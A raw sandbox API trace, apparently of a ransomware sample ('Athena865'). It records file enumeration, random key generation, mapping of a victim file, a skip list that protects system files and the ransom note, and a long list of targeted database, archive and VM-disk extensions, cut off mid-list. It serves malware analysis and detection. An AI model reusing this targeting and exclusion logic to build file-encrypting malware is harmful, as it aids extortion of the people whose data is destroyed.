GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8414449) returned 1 [0103.840] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0103.840] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52dd68 [0103.840] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519dd8 [0103.840] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519d50) returned 1 [0103.841] CryptGenRandom (in: hProv=0x519d50, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0103.841] CryptReleaseContext (hProv=0x519d50, dwFlags=0x0) returned 1 [0103.841] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x806800, lpName=0x0) returned 0x154 [0103.843] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x800000, dwNumberOfBytesToMap=0x6800) returned 0x100000 [0103.845] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3160000 [0103.950] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519d50) returned 1 [0103.951] CryptGenRandom (in: hProv=0x519d50, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0103.951] CryptReleaseContext (hProv=0x519d50, dwFlags=0x0) returned 1 [0103.951] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d048 [0103.951] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d048 | out: hHeap=0x4f0000) returned 1 [0103.951] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x549d40 [0103.951] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0103.951] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x549d40 | out: hHeap=0x4f0000) returned 1 [0103.951] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0103.951] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x549d40 [0103.952] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0103.952] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x549d40 | out: hHeap=0x4f0000) returned 1 [0103.952] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0103.952] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0103.952] CloseHandle (hObject=0x154) returned 1 [0103.952] CloseHandle (hObject=0x17c) returned 1 [0103.952] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dd68 | out: hHeap=0x4f0000) returned 1 [0103.952] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519dd8 | out: hHeap=0x4f0000) returned 1 [0103.952] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0103.967] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be38a97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be5ebf7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x3ec5d2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Maid with the Flaxen Hair.mp3", cAlternateFileName="MAIDWI~1.MP3")) returned 1 [0103.967] lstrcmpiW (lpString1="Maid with the Flaxen Hair.mp3", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.967] lstrcmpiW (lpString1="Maid with the Flaxen Hair.mp3", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.967] lstrcmpiW (lpString1="Maid with the Flaxen Hair.mp3", lpString2=".") returned 1 [0103.967] lstrcmpiW (lpString1="Maid with the Flaxen Hair.mp3", lpString2="..") returned 1 [0103.967] lstrcmpiW (lpString1="Maid with the Flaxen Hair.mp3", lpString2="windows") returned -1 [0103.967] lstrcmpiW (lpString1="Maid with the Flaxen Hair.mp3", lpString2="bootmgr") returned 1 [0103.968] lstrcmpiW (lpString1="Maid with the Flaxen Hair.mp3", lpString2="temp") returned -1 [0103.968] lstrcmpiW (lpString1="Maid with the Flaxen Hair.mp3", lpString2="pagefile.sys") returned -1 [0103.968] lstrcmpiW (lpString1="Maid with the Flaxen Hair.mp3", lpString2="boot") returned 1 [0103.968] lstrcmpiW (lpString1="Maid with the Flaxen Hair.mp3", lpString2="ids.txt") returned 1 [0103.968] lstrcmpiW (lpString1="Maid with the Flaxen Hair.mp3", lpString2="ntuser.dat") returned -1 [0103.968] lstrcmpiW (lpString1="Maid with the Flaxen Hair.mp3", lpString2="perflogs") returned -1 [0103.968] lstrcmpiW (lpString1="Maid with the Flaxen Hair.mp3", lpString2="MSBuild") returned -1 [0103.968] lstrlenW (lpString="Maid with the Flaxen Hair.mp3") returned 29 [0103.968] lstrcpyW (in: lpString1=0x241e8b0, lpString2="Maid with the Flaxen Hair.mp3" | out: lpString1="Maid with the Flaxen Hair.mp3") returned="Maid with the Flaxen Hair.mp3" [0103.968] lstrlenW (lpString="Maid with the Flaxen Hair.mp3") returned 29 [0103.968] lstrlenW (lpString="Athena865") returned 9 [0103.968] lstrcmpiW (lpString1=" Hair.mp3", lpString2="Athena865") returned -1 [0103.968] lstrlenW (lpString=".dll") returned 4 [0103.968] lstrcmpiW (lpString1="Maid with the Flaxen Hair.mp3", lpString2=".dll") returned 1 [0103.968] lstrlenW (lpString=".lnk") returned 4 [0103.968] lstrcmpiW (lpString1="Maid with the Flaxen Hair.mp3", lpString2=".lnk") returned 1 [0103.968] lstrlenW (lpString=".ini") returned 4 [0103.968] lstrcmpiW (lpString1="Maid with the Flaxen Hair.mp3", lpString2=".ini") returned 1 [0103.968] lstrlenW (lpString=".sys") returned 4 [0103.968] lstrcmpiW (lpString1="Maid with the Flaxen Hair.mp3", lpString2=".sys") returned 1 [0103.968] lstrlenW (lpString="Maid with the Flaxen Hair.mp3") returned 29 [0103.968] lstrlenW (lpString="bak") returned 3 [0103.968] lstrcmpiW (lpString1="mp3", lpString2="bak") returned 1 [0103.968] lstrlenW (lpString="ba_") returned 3 [0103.968] lstrcmpiW (lpString1="mp3", lpString2="ba_") returned 1 [0103.968] lstrlenW (lpString="dbb") returned 3 [0103.968] lstrcmpiW (lpString1="mp3", lpString2="dbb") returned 1 [0103.968] lstrlenW (lpString="vmdk") returned 4 [0103.968] lstrcmpiW (lpString1=".mp3", lpString2="vmdk") returned -1 [0103.968] lstrlenW (lpString="rar") returned 3 [0103.968] lstrcmpiW (lpString1="mp3", lpString2="rar") returned -1 [0103.968] lstrlenW (lpString="zip") returned 3 [0103.969] lstrcmpiW (lpString1="mp3", lpString2="zip") returned -1 [0103.969] lstrlenW (lpString="tgz") returned 3 [0103.969] lstrcmpiW (lpString1="mp3", lpString2="tgz") returned -1 [0103.969] lstrlenW (lpString="vbox") returned 4 [0103.969] lstrcmpiW (lpString1=".mp3", lpString2="vbox") returned -1 [0103.969] lstrlenW (lpString="vdi") returned 3 [0103.969] lstrcmpiW (lpString1="mp3", lpString2="vdi") returned -1 [0103.969] lstrlenW (lpString="vhd") returned 3 [0103.969] lstrcmpiW (lpString1="mp3", lpString2="vhd") returned -1 [0103.969] lstrlenW (lpString="vhdx") returned 4 [0103.969] lstrcmpiW (lpString1=".mp3", lpString2="vhdx") returned -1 [0103.969] lstrlenW (lpString="avhd") returned 4 [0103.969] lstrcmpiW (lpString1=".mp3", lpString2="avhd") returned -1 [0103.969] lstrlenW (lpString="db") returned 2 [0103.969] lstrcmpiW (lpString1="p3", lpString2="db") returned 1 [0103.969] lstrlenW (lpString="db2") returned 3 [0103.969] lstrcmpiW (lpString1="mp3", lpString2="db2") returned 1 [0103.969] lstrlenW (lpString="db3") returned 3 [0103.969] lstrcmpiW (lpString1="mp3", lpString2="db3") returned 1 [0103.969] lstrlenW (lpString="dbf") returned 3 [0103.969] lstrcmpiW (lpString1="mp3", lpString2="dbf") returned 1 [0103.969] lstrlenW (lpString="mdf") returned 3 [0103.969] lstrcmpiW (lpString1="mp3", lpString2="mdf") returned 1 [0103.969] lstrlenW (lpString="mdb") returned 3 [0103.969] lstrcmpiW (lpString1="mp3", lpString2="mdb") returned 1 [0103.969] lstrlenW (lpString="sql") returned 3 [0103.969] lstrcmpiW (lpString1="mp3", lpString2="sql") returned -1 [0103.969] lstrlenW (lpString="sqlite") returned 6 [0103.969] lstrcmpiW (lpString1="ir.mp3", lpString2="sqlite") returned -1 [0103.969] lstrlenW (lpString="sqlite3") returned 7 [0103.969] lstrcmpiW (lpString1="air.mp3", lpString2="sqlite3") returned -1 [0103.969] lstrlenW (lpString="sqlitedb") returned 8 [0103.969] lstrcmpiW (lpString1="Hair.mp3", lpString2="sqlitedb") returned -1 [0103.969] lstrlenW (lpString="xml") returned 3 [0103.970] lstrcmpiW (lpString1="mp3", lpString2="xml") returned -1 [0103.970] lstrlenW (lpString="$er") returned 3 [0103.970] lstrcmpiW (lpString1="mp3", lpString2="$er") returned 1 [0103.970] lstrlenW (lpString="4dd") returned 3 [0103.970] lstrcmpiW (lpString1="mp3", lpString2="4dd") returned 1 [0103.970] lstrlenW (lpString="4dl") returned 3 [0103.970] lstrcmpiW (lpString1="mp3", lpString2="4dl") returned 1 [0103.970] lstrlenW (lpString="^^^") returned 3 [0103.970] lstrcmpiW (lpString1="mp3", lpString2="^^^") returned 1 [0103.970] lstrlenW (lpString="abs") returned 3 [0103.970] lstrcmpiW (lpString1="mp3", lpString2="abs") returned 1 [0103.970] lstrlenW (lpString="abx") returned 3 [0103.970] lstrcmpiW (lpString1="mp3", lpString2="abx") returned 1 [0103.970] lstrlenW (lpString="accdb") returned 5 [0103.970] lstrcmpiW (lpString1="r.mp3", lpString2="accdb") returned 1 [0103.970] lstrlenW (lpString="accdc") returned 5 [0103.970] lstrcmpiW (lpString1="r.mp3", lpString2="accdc") returned 1 [0103.970] lstrlenW (lpString="accde") returned 5 [0103.970] lstrcmpiW (lpString1="r.mp3", lpString2="accde") returned 1 [0103.970] lstrlenW (lpString="accdr") returned 5 [0103.970] lstrcmpiW (lpString1="r.mp3", lpString2="accdr") returned 1 [0103.970] lstrlenW (lpString="accdt") returned 5 [0103.970] lstrcmpiW (lpString1="r.mp3", lpString2="accdt") returned 1 [0103.970] lstrlenW (lpString="accdw") returned 5 [0103.970] lstrcmpiW (lpString1="r.mp3", lpString2="accdw") returned 1 [0103.970] lstrlenW (lpString="accft") returned 5 [0103.970] lstrcmpiW (lpString1="r.mp3", lpString2="accft") returned 1 [0103.970] lstrlenW (lpString="adb") returned 3 [0103.970] lstrcmpiW (lpString1="mp3", lpString2="adb") returned 1 [0103.970] lstrlenW (lpString="adb") returned 3 [0103.970] lstrcmpiW (lpString1="mp3", lpString2="adb") returned 1 [0103.970] lstrlenW (lpString="ade") returned 3 [0103.970] lstrcmpiW (lpString1="mp3", lpString2="ade") returned 1 [0103.971] lstrlenW (lpString="adf") returned 3 [0103.971] lstrcmpiW (lpString1="mp3", lpString2="adf") returned 1 [0103.971] lstrlenW (lpString="adn") returned 3 [0103.971] lstrcmpiW (lpString1="mp3", lpString2="adn") returned 1 [0103.971] lstrlenW (lpString="adp") returned 3 [0103.971] lstrcmpiW (lpString1="mp3", lpString2="adp") returned 1 [0103.971] lstrlenW (lpString="alf") returned 3 [0103.971] lstrcmpiW (lpString1="mp3", lpString2="alf") returned 1 [0103.971] lstrlenW (lpString="ask") returned 3 [0103.971] lstrcmpiW (lpString1="mp3", lpString2="ask") returned 1 [0103.971] lstrlenW (lpString="btr") returned 3 [0103.971] lstrcmpiW (lpString1="mp3", lpString2="btr") returned 1 [0103.971] lstrlenW (lpString="cat") returned 3 [0103.971] lstrcmpiW (lpString1="mp3", lpString2="cat") returned 1 [0103.971] lstrlenW (lpString="cdb") returned 3 [0103.971] lstrcmpiW (lpString1="mp3", lpString2="cdb") returned 1 [0103.971] lstrlenW (lpString="ckp") returned 3 [0103.971] lstrcmpiW (lpString1="mp3", lpString2="ckp") returned 1 [0103.971] lstrlenW (lpString="cma") returned 3 [0103.971] lstrcmpiW (lpString1="mp3", lpString2="cma") returned 1 [0103.971] lstrlenW (lpString="cpd") returned 3 [0103.971] lstrcmpiW (lpString1="mp3", lpString2="cpd") returned 1 [0103.971] lstrlenW (lpString="dacpac") returned 6 [0103.971] lstrcmpiW (lpString1="ir.mp3", lpString2="dacpac") returned 1 [0103.971] lstrlenW (lpString="dad") returned 3 [0103.971] lstrcmpiW (lpString1="mp3", lpString2="dad") returned 1 [0103.971] lstrlenW (lpString="dadiagrams") returned 10 [0103.971] lstrcmpiW (lpString1="n Hair.mp3", lpString2="dadiagrams") returned 1 [0103.971] lstrlenW (lpString="daschema") returned 8 [0103.971] lstrcmpiW (lpString1="Hair.mp3", lpString2="daschema") returned 1 [0103.971] lstrlenW (lpString="db-journal") returned 10 [0103.971] lstrcmpiW (lpString1="n Hair.mp3", lpString2="db-journal") returned 1 [0103.972] lstrlenW (lpString="db-shm") returned 6 [0103.972] lstrcmpiW (lpString1="ir.mp3", lpString2="db-shm") returned 1 [0103.972] lstrlenW (lpString="db-wal") returned 6 [0103.972] lstrcmpiW (lpString1="ir.mp3", lpString2="db-wal") returned 1 [0103.972] lstrlenW (lpString="dbc") returned 3 [0103.972] lstrcmpiW (lpString1="mp3", lpString2="dbc") returned 1 [0103.972] lstrlenW (lpString="dbs") returned 3 [0103.972] lstrcmpiW (lpString1="mp3", lpString2="dbs") returned 1 [0103.972] lstrlenW (lpString="dbt") returned 3 [0103.972] lstrcmpiW (lpString1="mp3", lpString2="dbt") returned 1 [0103.972] lstrlenW (lpString="dbv") returned 3 [0103.972] lstrcmpiW (lpString1="mp3", lpString2="dbv") returned 1 [0103.972] lstrlenW (lpString="dbx") returned 3 [0103.972] lstrcmpiW (lpString1="mp3", lpString2="dbx") returned 1 [0103.972] lstrlenW (lpString="dcb") returned 3 [0103.972] lstrcmpiW (lpString1="mp3", lpString2="dcb") returned 1 [0103.972] lstrlenW (lpString="dct") returned 3 [0103.972] lstrcmpiW (lpString1="mp3", lpString2="dct") returned 1 [0103.972] lstrlenW (lpString="dcx") returned 3 [0103.972] lstrcmpiW (lpString1="mp3", lpString2="dcx") returned 1 [0103.972] lstrlenW (lpString="ddl") returned 3 [0103.972] lstrcmpiW (lpString1="mp3", lpString2="ddl") returned 1 [0103.972] lstrlenW (lpString="dlis") returned 4 [0103.972] lstrcmpiW (lpString1=".mp3", lpString2="dlis") returned -1 [0103.972] lstrlenW (lpString="dp1") returned 3 [0103.972] lstrcmpiW (lpString1="mp3", lpString2="dp1") returned 1 [0103.972] lstrlenW (lpString="dqy") returned 3 [0103.972] lstrcmpiW (lpString1="mp3", lpString2="dqy") returned 1 [0103.972] lstrlenW (lpString="dsk") returned 3 [0103.972] lstrcmpiW (lpString1="mp3", lpString2="dsk") returned 1 [0103.972] lstrlenW (lpString="dsn") returned 3 [0103.973] lstrcmpiW (lpString1="mp3", lpString2="dsn") returned 1 [0103.973] lstrlenW (lpString="dtsx") returned 4 [0103.973] lstrcmpiW (lpString1=".mp3", lpString2="dtsx") returned -1 [0103.973] lstrlenW (lpString="dxl") returned 3 [0103.973] lstrcmpiW (lpString1="mp3", lpString2="dxl") returned 1 [0103.973] lstrlenW (lpString="eco") returned 3 [0103.973] lstrcmpiW (lpString1="mp3", lpString2="eco") returned 1 [0103.973] lstrlenW (lpString="ecx") returned 3 [0103.973] lstrcmpiW (lpString1="mp3", lpString2="ecx") returned 1 [0103.973] lstrlenW (lpString="edb") returned 3 [0103.973] lstrcmpiW (lpString1="mp3", lpString2="edb") returned 1 [0103.973] lstrlenW (lpString="epim") returned 4 [0103.973] lstrcmpiW (lpString1=".mp3", lpString2="epim") returned -1 [0103.973] lstrlenW (lpString="fcd") returned 3 [0103.973] lstrcmpiW (lpString1="mp3", lpString2="fcd") returned 1 [0103.973] lstrlenW (lpString="fdb") returned 3 [0103.973] lstrcmpiW (lpString1="mp3", lpString2="fdb") returned 1 [0103.973] lstrlenW (lpString="fic") returned 3 [0103.973] lstrcmpiW (lpString1="mp3", lpString2="fic") returned 1 [0103.973] lstrlenW (lpString="flexolibrary") returned 12 [0103.973] lstrcmpiW (lpString1="xen Hair.mp3", lpString2="flexolibrary") returned 1 [0103.973] lstrlenW (lpString="fm5") returned 3 [0103.973] lstrcmpiW (lpString1="mp3", lpString2="fm5") returned 1 [0103.973] lstrlenW (lpString="fmp") returned 3 [0103.973] lstrcmpiW (lpString1="mp3", lpString2="fmp") returned 1 [0103.973] lstrlenW (lpString="fmp12") returned 5 [0103.973] lstrcmpiW (lpString1="r.mp3", lpString2="fmp12") returned 1 [0103.973] lstrlenW (lpString="fmpsl") returned 5 [0103.973] lstrcmpiW (lpString1="r.mp3", lpString2="fmpsl") returned 1 [0103.973] lstrlenW (lpString="fol") returned 3 [0103.973] lstrcmpiW (lpString1="mp3", lpString2="fol") returned 1 [0103.973] lstrlenW (lpString="fp3") returned 3 [0103.973] lstrcmpiW (lpString1="mp3", lpString2="fp3") returned 1 [0103.973] lstrlenW (lpString="fp4") returned 3 [0103.974] lstrcmpiW (lpString1="mp3", lpString2="fp4") returned 1 [0103.974] lstrlenW (lpString="fp5") returned 3 [0103.974] lstrcmpiW (lpString1="mp3", lpString2="fp5") returned 1 [0103.974] lstrlenW (lpString="fp7") returned 3 [0103.974] lstrcmpiW (lpString1="mp3", lpString2="fp7") returned 1 [0103.974] lstrlenW (lpString="fpt") returned 3 [0103.974] lstrcmpiW (lpString1="mp3", lpString2="fpt") returned 1 [0103.974] lstrlenW (lpString="frm") returned 3 [0103.974] lstrcmpiW (lpString1="mp3", lpString2="frm") returned 1 [0103.974] lstrlenW (lpString="gdb") returned 3 [0103.974] lstrcmpiW (lpString1="mp3", lpString2="gdb") returned 1 [0103.974] lstrlenW (lpString="gdb") returned 3 [0103.974] lstrcmpiW (lpString1="mp3", lpString2="gdb") returned 1 [0103.974] lstrlenW (lpString="grdb") returned 4 [0103.974] lstrcmpiW (lpString1=".mp3", lpString2="grdb") returned -1 [0103.974] lstrlenW (lpString="gwi") returned 3 [0103.974] lstrcmpiW (lpString1="mp3", lpString2="gwi") returned 1 [0103.974] lstrlenW (lpString="hdb") returned 3 [0103.974] lstrcmpiW (lpString1="mp3", lpString2="hdb") returned 1 [0103.974] lstrlenW (lpString="his") returned 3 [0103.974] lstrcmpiW (lpString1="mp3", lpString2="his") returned 1 [0103.974] lstrlenW (lpString="ib") returned 2 [0103.974] lstrcmpiW (lpString1="p3", lpString2="ib") returned 1 [0103.974] lstrlenW (lpString="idb") returned 3 [0103.974] lstrcmpiW (lpString1="mp3", lpString2="idb") returned 1 [0103.974] lstrlenW (lpString="ihx") returned 3 [0103.974] lstrcmpiW (lpString1="mp3", lpString2="ihx") returned 1 [0103.974] lstrlenW (lpString="itdb") returned 4 [0103.974] lstrcmpiW (lpString1=".mp3", lpString2="itdb") returned -1 [0103.974] lstrlenW (lpString="itw") returned 3 [0103.974] lstrcmpiW (lpString1="mp3", lpString2="itw") returned 1 [0103.974] lstrlenW (lpString="jet") returned 3 [0103.975] lstrcmpiW (lpString1="mp3", lpString2="jet") returned 1 [0103.975] lstrlenW (lpString="jtx") returned 3 [0103.975] lstrcmpiW (lpString1="mp3", lpString2="jtx") returned 1 [0103.975] lstrlenW (lpString="kdb") returned 3 [0103.975] lstrcmpiW (lpString1="mp3", lpString2="kdb") returned 1 [0103.975] lstrlenW (lpString="kexi") returned 4 [0103.975] lstrcmpiW (lpString1=".mp3", lpString2="kexi") returned -1 [0103.975] lstrlenW (lpString="kexic") returned 5 [0103.975] lstrcmpiW (lpString1="r.mp3", lpString2="kexic") returned 1 [0103.975] lstrlenW (lpString="kexis") returned 5 [0103.975] lstrcmpiW (lpString1="r.mp3", lpString2="kexis") returned 1 [0103.975] lstrlenW (lpString="lgc") returned 3 [0103.975] lstrcmpiW (lpString1="mp3", lpString2="lgc") returned 1 [0103.975] lstrlenW (lpString="lwx") returned 3 [0103.975] lstrcmpiW (lpString1="mp3", lpString2="lwx") returned 1 [0103.975] lstrlenW (lpString="maf") returned 3 [0103.975] lstrcmpiW (lpString1="mp3", lpString2="maf") returned 1 [0103.975] lstrlenW (lpString="maq") returned 3 [0103.975] lstrcmpiW (lpString1="mp3", lpString2="maq") returned 1 [0103.975] lstrlenW (lpString="mar") returned 3 [0103.975] lstrcmpiW (lpString1="mp3", lpString2="mar") returned 1 [0103.975] lstrlenW (lpString="marshal") returned 7 [0103.975] lstrcmpiW (lpString1="air.mp3", lpString2="marshal") returned -1 [0103.975] lstrlenW (lpString="mas") returned 3 [0103.975] lstrcmpiW (lpString1="mp3", lpString2="mas") returned 1 [0103.975] lstrlenW (lpString="mav") returned 3 [0103.975] lstrcmpiW (lpString1="mp3", lpString2="mav") returned 1 [0103.975] lstrlenW (lpString="maw") returned 3 [0103.975] lstrcmpiW (lpString1="mp3", lpString2="maw") returned 1 [0103.975] lstrlenW (lpString="mdbhtml") returned 7 [0103.975] lstrcmpiW (lpString1="air.mp3", lpString2="mdbhtml") returned -1 [0103.975] lstrlenW (lpString="mdn") returned 3 [0103.976] lstrcmpiW (lpString1="mp3", lpString2="mdn") returned 1 [0103.976] lstrlenW (lpString="mdt") returned 3 [0103.976] lstrcmpiW (lpString1="mp3", lpString2="mdt") returned 1 [0103.976] lstrlenW (lpString="mfd") returned 3 [0103.976] lstrcmpiW (lpString1="mp3", lpString2="mfd") returned 1 [0103.976] lstrlenW (lpString="mpd") returned 3 [0103.976] lstrcmpiW (lpString1="mp3", lpString2="mpd") returned -1 [0103.976] lstrlenW (lpString="mrg") returned 3 [0103.976] lstrcmpiW (lpString1="mp3", lpString2="mrg") returned -1 [0103.976] lstrlenW (lpString="mud") returned 3 [0103.976] lstrcmpiW (lpString1="mp3", lpString2="mud") returned -1 [0103.976] lstrlenW (lpString="mwb") returned 3 [0103.976] lstrcmpiW (lpString1="mp3", lpString2="mwb") returned -1 [0103.976] lstrlenW (lpString="myd") returned 3 [0103.976] lstrcmpiW (lpString1="mp3", lpString2="myd") returned -1 [0103.976] lstrlenW (lpString="ndf") returned 3 [0103.976] lstrcmpiW (lpString1="mp3", lpString2="ndf") returned -1 [0103.976] lstrlenW (lpString="nnt") returned 3 [0103.976] lstrcmpiW (lpString1="mp3", lpString2="nnt") returned -1 [0103.976] lstrlenW (lpString="nrmlib") returned 6 [0103.976] lstrcmpiW (lpString1="ir.mp3", lpString2="nrmlib") returned -1 [0103.976] lstrlenW (lpString="ns2") returned 3 [0103.976] lstrcmpiW (lpString1="mp3", lpString2="ns2") returned -1 [0103.976] lstrlenW (lpString="ns3") returned 3 [0103.976] lstrcmpiW (lpString1="mp3", lpString2="ns3") returned -1 [0103.976] lstrlenW (lpString="ns4") returned 3 [0103.976] lstrcmpiW (lpString1="mp3", lpString2="ns4") returned -1 [0103.977] lstrlenW (lpString="nsf") returned 3 [0103.977] lstrcmpiW (lpString1="mp3", lpString2="nsf") returned -1 [0103.977] lstrlenW (lpString="nv") returned 2 [0103.977] lstrcmpiW (lpString1="p3", lpString2="nv") returned 1 [0103.977] lstrlenW (lpString="nv2") returned 3 [0103.977] lstrcmpiW (lpString1="mp3", lpString2="nv2") returned -1 [0103.977] lstrlenW (lpString="nwdb") returned 4 [0103.977] lstrcmpiW (lpString1=".mp3", lpString2="nwdb") returned -1 [0103.977] lstrlenW (lpString="nyf") returned 3 [0103.977] lstrcmpiW (lpString1="mp3", lpString2="nyf") returned -1 [0103.977] lstrlenW (lpString="odb") returned 3 [0103.977] lstrcmpiW (lpString1="mp3", lpString2="odb") returned -1 [0103.977] lstrlenW (lpString="odb") returned 3 [0103.977] lstrcmpiW (lpString1="mp3", lpString2="odb") returned -1 [0103.977] lstrlenW (lpString="oqy") returned 3 [0103.977] lstrcmpiW (lpString1="mp3", lpString2="oqy") returned -1 [0103.977] lstrlenW (lpString="ora") returned 3 [0103.977] lstrcmpiW (lpString1="mp3", lpString2="ora") returned -1 [0103.977] lstrlenW (lpString="orx") returned 3 [0103.977] lstrcmpiW (lpString1="mp3", lpString2="orx") returned -1 [0103.977] lstrlenW (lpString="owc") returned 3 [0103.977] lstrcmpiW (lpString1="mp3", lpString2="owc") returned -1 [0103.977] lstrlenW (lpString="p96") returned 3 [0103.977] lstrcmpiW (lpString1="mp3", lpString2="p96") returned -1 [0103.977] lstrlenW (lpString="p97") returned 3 [0103.977] lstrcmpiW (lpString1="mp3", lpString2="p97") returned -1 [0103.977] lstrlenW (lpString="pan") returned 3 [0103.977] lstrcmpiW (lpString1="mp3", lpString2="pan") returned -1 [0103.977] lstrlenW (lpString="pdb") returned 3 [0103.977] lstrcmpiW (lpString1="mp3", lpString2="pdb") returned -1 [0103.977] lstrlenW (lpString="pdm") returned 3 [0103.977] lstrcmpiW (lpString1="mp3", lpString2="pdm") returned -1 [0103.978] lstrlenW (lpString="pnz") returned 3 [0103.978] lstrcmpiW (lpString1="mp3", lpString2="pnz") returned -1 [0103.978] lstrlenW (lpString="qry") returned 3 [0103.978] lstrcmpiW (lpString1="mp3", lpString2="qry") returned -1 [0103.978] lstrlenW (lpString="qvd") returned 3 [0103.978] lstrcmpiW (lpString1="mp3", lpString2="qvd") returned -1 [0103.978] lstrlenW (lpString="rbf") returned 3 [0103.978] lstrcmpiW (lpString1="mp3", lpString2="rbf") returned -1 [0103.978] lstrlenW (lpString="rctd") returned 4 [0103.978] lstrcmpiW (lpString1=".mp3", lpString2="rctd") returned -1 [0103.978] lstrlenW (lpString="rod") returned 3 [0103.978] lstrcmpiW (lpString1="mp3", lpString2="rod") returned -1 [0103.978] lstrlenW (lpString="rodx") returned 4 [0103.978] lstrcmpiW (lpString1=".mp3", lpString2="rodx") returned -1 [0103.978] lstrlenW (lpString="rpd") returned 3 [0103.978] lstrcmpiW (lpString1="mp3", lpString2="rpd") returned -1 [0103.978] lstrlenW (lpString="rsd") returned 3 [0103.978] lstrcmpiW (lpString1="mp3", lpString2="rsd") returned -1 [0103.978] lstrlenW (lpString="sas7bdat") returned 8 [0103.978] lstrcmpiW (lpString1="Hair.mp3", lpString2="sas7bdat") returned -1 [0103.978] lstrlenW (lpString="sbf") returned 3 [0103.978] lstrcmpiW (lpString1="mp3", lpString2="sbf") returned -1 [0103.978] lstrlenW (lpString="scx") returned 3 [0103.978] lstrcmpiW (lpString1="mp3", lpString2="scx") returned -1 [0103.978] lstrlenW (lpString="sdb") returned 3 [0103.978] lstrcmpiW (lpString1="mp3", lpString2="sdb") returned -1 [0103.978] lstrlenW (lpString="sdc") returned 3 [0103.978] lstrcmpiW (lpString1="mp3", lpString2="sdc") returned -1 [0103.978] lstrlenW (lpString="sdf") returned 3 [0103.978] lstrcmpiW (lpString1="mp3", lpString2="sdf") returned -1 [0103.978] lstrlenW (lpString="sis") returned 3 [0103.978] lstrcmpiW (lpString1="mp3", lpString2="sis") returned -1 [0103.978] lstrlenW (lpString="spq") returned 3 [0103.979] lstrcmpiW (lpString1="mp3", lpString2="spq") returned -1 [0103.979] lstrlenW (lpString="te") returned 2 [0103.979] lstrcmpiW (lpString1="p3", lpString2="te") returned -1 [0103.979] lstrlenW (lpString="teacher") returned 7 [0103.979] lstrcmpiW (lpString1="air.mp3", lpString2="teacher") returned -1 [0103.979] lstrlenW (lpString="tmd") returned 3 [0103.979] lstrcmpiW (lpString1="mp3", lpString2="tmd") returned -1 [0103.979] lstrlenW (lpString="tps") returned 3 [0103.979] lstrcmpiW (lpString1="mp3", lpString2="tps") returned -1 [0103.979] lstrlenW (lpString="trc") returned 3 [0103.979] lstrcmpiW (lpString1="mp3", lpString2="trc") returned -1 [0103.979] lstrlenW (lpString="trc") returned 3 [0103.979] lstrcmpiW (lpString1="mp3", lpString2="trc") returned -1 [0103.979] lstrlenW (lpString="trm") returned 3 [0103.979] lstrcmpiW (lpString1="mp3", lpString2="trm") returned -1 [0103.979] lstrlenW (lpString="udb") returned 3 [0103.979] lstrcmpiW (lpString1="mp3", lpString2="udb") returned -1 [0103.979] lstrlenW (lpString="udl") returned 3 [0103.979] lstrcmpiW (lpString1="mp3", lpString2="udl") returned -1 [0103.979] lstrlenW (lpString="usr") returned 3 [0103.979] lstrcmpiW (lpString1="mp3", lpString2="usr") returned -1 [0103.979] lstrlenW (lpString="v12") returned 3 [0103.979] lstrcmpiW (lpString1="mp3", lpString2="v12") returned -1 [0103.979] lstrlenW (lpString="vis") returned 3 [0103.979] lstrcmpiW (lpString1="mp3", lpString2="vis") returned -1 [0103.979] lstrlenW (lpString="vpd") returned 3 [0103.979] lstrcmpiW (lpString1="mp3", lpString2="vpd") returned -1 [0103.979] lstrlenW 